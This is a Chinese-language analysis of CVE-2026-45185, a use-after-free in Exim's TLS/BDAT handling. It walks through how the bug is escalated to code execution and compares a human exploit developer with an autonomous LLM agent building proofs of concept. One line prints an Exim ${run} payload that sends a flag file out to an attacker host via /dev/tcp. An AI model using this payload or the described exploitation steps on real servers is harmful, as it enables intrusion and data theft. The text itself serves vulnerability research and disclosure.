Dead.Letter: 分析 Exim 中的未经身份验证 RCE (CVE-2026-45185)
Dead.Letter: 分析 Exim 中的未经身份验证 RCE (CVE-2026-45185)
CVE-2026-45185 的发现揭示了 Exim 中一个关键的未经身份验证远程代码执行 (RCE) 漏洞,Exim 是类 Unix 系统中最广泛使用的邮件传输代理 (MTA) 之一。
除了该漏洞的技术严重性外,其披露过程还是一次独特的实验:一场由资深人类漏洞利用开发人员与自主 LLM 驱动系统 (XBOW Native) 之间的竞赛,旨在观察谁能率先开发出可用的概念验证 (PoC)。
漏洞详情:从单字节写入到灾难
CVE-2026-45185 是一个使用后释放 (UAF) 漏洞,发生在 TLS 连接由 GnuTLS(许多基于 Debian 的发行版的默认库)处理时。
触发机制
该漏洞根源于 Exim 在会话关闭期间处理从 TLS 到明文转换的方式。当 TLS 连接关闭时,Exim 会调用 tls_close(),该函数会释放 xfer_buffer(一个用于解密的 4096 字节明文区域)。然而,如果服务器当前正在处理 BDAT (RFC 3030 CHUNKING) 操作,解析器将处于模态状态。
Exim 使用接收函数栈。当 BDAT 处于活动状态时,它会将 BDAT 特有的包装器推入栈中,这些包装器转而调用底层的 TLS 函数。至关重要的是,tls_close() 会将顶层接收回调恢复为明文 SMTP 函数,但无法清除较低层级的 BDAT 包装器。
这创造了一个窗口期:
xfer_buffer被释放。- BDAT 包装器保持活动状态并仍然指向
tls_ungetc。 - 如果 BDAT 解析器遇到缺失的 CRLF,它会调用
bdat_ungetc(),进而调用tls_ungetc()。
由于 tls_ungetc 使用过时的指针将单个字符(通常是 \n 或 \r)写回 xfer_buffer,因此它会在已释放的内存中执行单字节写入。
提升权限原语
虽然单字节写入看起来很弱,但漏洞利用程序利用这一点来破坏 Exim 自定义内存分配器的元数据,即所谓的store subsystem。
Exim 使用基于池的 bump allocator 来管理短寿命对象。一个 storeblock 头部由一个 next 指针和一个 length 字段组成。通过精确控制 UAF 写入的时机,使其落在 storeblock 的 length 字段上,攻击者可以夸大内存池的感知大小。这使得随后的分配能够与堆中的其他关键数据结构重叠,从而有效地将有限的写入操作转变为强大的内存破坏原语。
竞赛:人类 vs. 机器
为了测试自主漏洞利用开发的能力,研究人员将人类专家与基于 LLM 的智能体 XBOW Native 进行了对决。
第一轮:无 ASLR,无 PIE
在简化环境(无地址空间布局随机化或位置无关可执行文件)中,LLM 取得了决定性胜利。它绕过了 Exim 特有的分配器,转而针对 glibc 内部实现。它破坏了 glibc 的 largebin 指针,从而将 malloc(4096) 调用重定向到攻击者控制的地址,随后覆盖了 FILE 结构体的 vtable,从而转向 ROP 链以窃取系统 flag。
第二轮:启用 ASLR
在启用 ASLR 的情况下,LLM 改变了策略,从 glibc 技巧转向攻击 Exim 自身的 store 分配器。它夸大了内存池的 length 字段,利用该内存池作为可编程的 bump-pointer,在静态内存中植入指针,并最终覆盖了 acl_smtp_predata 以执行恶意的 Exim 扩展字符串:${run{/bin/bash -c 'cat</flag>/dev/tcp/$LHOST/$LPORT'}{accept}}。
第三轮:生产环境目标
面对真实的生产环境构建版本,人类开发人员通过识别 exim_sha_init 中的一个新内存消耗泄漏,取得了更大的成功。通过使用 gnutls_hash_init 来消耗堆空洞,人类开发人员能够创建一个确定性的内存状态,最终实现了栈指针泄漏——这是绕过完全 ASLR/PIE 保护的关键步骤。
关键洞察与总结
LLM 的能力与局限性
实验表明,LLM 在合成已知模式方面表现得异常快速。LLM 的首次成功本质上是一种“CTF 风格”的漏洞利用,结合了 largebin 攻击和在夺旗赛中常见的 FSOP (File Stream Oriented Programming) gadget。
然而,人类开发人员指出,“难点仍然是难点”。现实世界的目标往往具有“嘈杂”的堆,以及意想不到的对象生命周期(例如,拒绝释放的 GnuTLS 证书结构),这需要 LLM 目前所缺乏的直觉、怀疑精神和手动调试能力。
攻击链技术总结
| 阶段 | 操作 | 结果 |
|---|---|---|
| 触发 | BDAT 分块期间的 TLS 关闭 | xfer_buffer 被释放,但 tls_ungetc 仍然可达 |
| 破坏 | 调用 bdat_ungetc |
对已释放的 xfer_buffer 进行单字节写入 |
| 提升 | 破坏 storeblock 长度 |
内存池膨胀 $\rightarrow$ 越界 (OOB) 访问 |
| 执行 | 覆盖 acl_smtp_predata |
通过 ${run} 执行任意 Shell 命令 |
结论
CVE-2026-45185 凸显了复杂 C 语言编写的软件中持续存在的风险,其中模态状态转换(如 BDAT over TLS)可以导致微妙的内存管理错误。虽然 LLM 可以现在“加速”漏洞研究的早期阶段——帮助研究人员理解代码并生成假设——但针对硬化生产环境目标的漏洞利用开发“最后一公里”的漏洞利用开发仍然需要人类专家的专业知识。